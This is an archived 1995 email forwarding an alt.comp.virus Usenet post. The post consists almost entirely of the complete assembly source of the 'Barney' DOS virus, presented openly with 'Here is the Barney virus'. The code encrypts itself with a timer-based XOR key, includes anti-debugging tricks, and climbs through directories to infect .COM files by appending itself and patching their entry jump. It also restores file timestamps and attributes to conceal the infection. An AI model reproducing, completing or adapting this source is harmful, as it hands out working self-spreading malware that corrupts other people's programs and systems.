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324 lines
9.2 KiB
NASM
324 lines
9.2 KiB
NASM
From smtp Tue Feb 7 13:16 EST 1995
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Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:16 EST
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Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
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id NAA08362 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:19:38 -0500
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Date: Tue, 7 Feb 1995 13:19:38 -0500
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From: lynx.dac.neu.edu!ekilby (Eric Kilby)
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Content-Length: 8878
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Content-Type: text
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Message-Id: <199502071819.NAA08362@lynx.dac.neu.edu>
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To: pobox.jwu.edu!joshuaw
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Subject: (fwd) Barney virus
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Newsgroups: alt.comp.virus
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Status: O
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Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!newsxfer.itd.umich.edu!agate!howland.reston.ans.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
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From: danishm@iia.org ()
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Newsgroups: alt.comp.virus
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Subject: Barney virus
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Date: 5 Feb 1995 22:06:47 GMT
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Organization: International Internet Association.
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Lines: 291
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Message-ID: <3h3i5n$v4@ankh.iia.org>
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NNTP-Posting-Host: iia.org
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X-Newsreader: TIN [version 1.2 PL2]
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Here is the Barney virus:
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; Barney virus
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PING equ 0F92Fh
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INFECT equ 1
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code segment
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org 100h
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assume cs:code,ds:code
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start:
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db 0E9h,3,0 ; to virus
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host:
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db 0CDh,20h,0 ; host program
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virus_begin:
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mov dx,VIRUS_SIZE / 2 + 1
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db 0BBh ; decryption module
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code_offset dw offset virus_code
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decrypt:
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db 02Eh,081h,37h ; XOR CS:[BX]
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cipher dw 0
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inc bx
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inc bx
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dec dx
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jnz decrypt
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virus_code:
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call $ + 3 ; BP is instruction ptr.
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pop bp
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sub bp,offset $ - 1
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push ds es
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cli
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mov ax,PING ; mild anti-trace code
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push ax
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pop ax
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dec sp
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dec sp
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pop bx
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cmp ax,bx
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je no_trace
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hlt
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no_trace:
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sti
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in al,21h ; lock out & reopen keyboard
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xor al,2
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out 21h,al
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xor al,2
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out 21h,al
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lea dx,[bp + offset new_DTA]
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mov ah,1Ah
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int 21h
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mov byte ptr [bp + infections],0
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call traverse
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pop es ds
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mov dx,80h
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mov ah,1Ah
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int 21h
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com_exit:
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lea si,[bp + host] ; restore host program
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mov di,100h
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push di
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movsw
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movsb
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call fix_regs ; fix up registers
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ret ; and leave
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fix_regs:
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xor ax,ax
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cwd
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xor bx,bx
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mov si,100h
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xor di,di
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xor bp,bp
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ret
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traverse:
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sub sp,64 ; allocate stack space
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mov si,sp
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inc si
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mov ah,47h ; get current directory
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xor dl,dl
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int 21h
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dec si
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mov byte ptr ss:[si],'\' ; fix directory
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next_dir:
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call infect_dir
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cmp byte ptr [bp + infections],INFECT
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je traverse_done
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lea dx,[bp + outer] ; repeat in next dir up
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mov ah,3Bh
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int 21h
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jnc next_dir
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traverse_done:
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add sp,64 ; reset
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mov dx,si
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mov ah,3Bh
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int 21h
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ret
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infect_dir:
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mov ah,4Eh
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lea dx,[bp + find_me]
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int 21h
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jc infect_done
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next_file:
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lea dx,[bp + new_DTA + 1Eh]
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call execute
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cmp byte ptr [bp + infections],INFECT
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je infect_done
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mov ah,4Fh
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int 21h
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jnc next_file
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infect_done:
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ret
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execute:
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push si
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xor ax,ax ; critical error handler
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mov es,ax ; routine - catch int 24
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lea ax,[bp + int_24]
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mov es:[24h * 4],ax
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mov es:[24h * 4 + 2],cs
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mov ax,4300h ; change attributes
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int 21h
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push cx dx ds
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xor cx,cx
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call set_attributes
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mov ax,3D02h ; open file
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int 21h
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jc cant_open
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xchg bx,ax
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mov ax,5700h ; save file date/time
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int 21h
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push cx dx
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mov ah,3Fh
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mov cx,28
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lea dx,[bp + read_buffer]
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int 21h
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cmp word ptr [bp + read_buffer],'ZM'
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je dont_infect ; .EXE, skip
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mov al,2 ; move to end of file
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call move_file_ptr
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cmp dx,65279 - (VIRUS_SIZE + 3)
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ja dont_infect ; too big, don't infect
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sub dx,VIRUS_SIZE + 3 ; check for previous infection
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cmp dx,word ptr [bp + read_buffer + 1]
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je dont_infect
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add dx,VIRUS_SIZE + 3
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mov word ptr [bp + new_jump + 1],dx
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add dx,103h
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call encrypt_code ; encrypt virus
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lea dx,[bp + read_buffer] ; save original program head
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int 21h
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mov ah,40h ; write virus to file
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mov cx,VIRUS_SIZE
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lea dx,[bp + encrypt_buffer]
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int 21h
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xor al,al ; back to beginning of file
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call move_file_ptr
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lea dx,[bp + new_jump]
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int 21h
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fix_date_time:
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pop dx cx
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mov ax,5701h ; restore file date/time
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int 21h
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inc byte ptr [bp + infections]
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close:
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pop ds dx cx ; restore attributes
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call set_attributes
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mov ah,3Eh ; close file
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int 21h
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cant_open:
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pop si
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ret
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set_attributes:
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mov ax,4301h
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int 21h
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ret
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dont_infect:
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pop cx dx ; can't infect, skip
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jmp close
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move_file_ptr:
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mov ah,42h ; move file pointer
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cwd
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xor cx,cx
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int 21h
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mov dx,ax ; set up registers
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mov ah,40h
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mov cx,3
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ret
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courtesy_of db '[BW]',0
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signature db 'BARNEY (c) by HypoDermic!! Part of the Mayberry Family!!!',0
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encrypt_code:
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push ax cx
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push dx
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xor ah,ah ; get time for random number
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int 1Ah
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mov [bp + cipher],dx
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pop cx
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add cx,virus_code - virus_begin
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mov [bp + code_offset],cx
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push cs ; ES = CS
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pop es
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lea si,[bp + virus_begin]
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lea di,[bp + offset encrypt_buffer]
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mov cx,virus_code - virus_begin
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rep movsb
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mov cx,VIRUS_SIZE / 2 + 1
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encrypt:
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lodsw ; encrypt virus code
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xor ax,dx
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stosw
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loop encrypt
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pop cx ax
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ret
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find_me db '*.COM',0
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outer db '..',0
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int_24:
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mov al,3 ; int 24 handler
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iret
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new_jump db 0E9h,0,0
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infections db 0
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virus_end:
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VIRUS_SIZE equ virus_end - virus_begin
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read_buffer db 28 dup (?) ; read buffer
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new_DTA db 128 dup(?)
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encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer
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end_heap:
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MEM_SIZE equ end_heap - start
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code ends
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end start
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--
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Eric "Mad Dog" Kilby maddog@ccs.neu.edu
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The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
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Student at the Northeatstern University College of Computer Science
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"I Can't Believe It's Not Butter"
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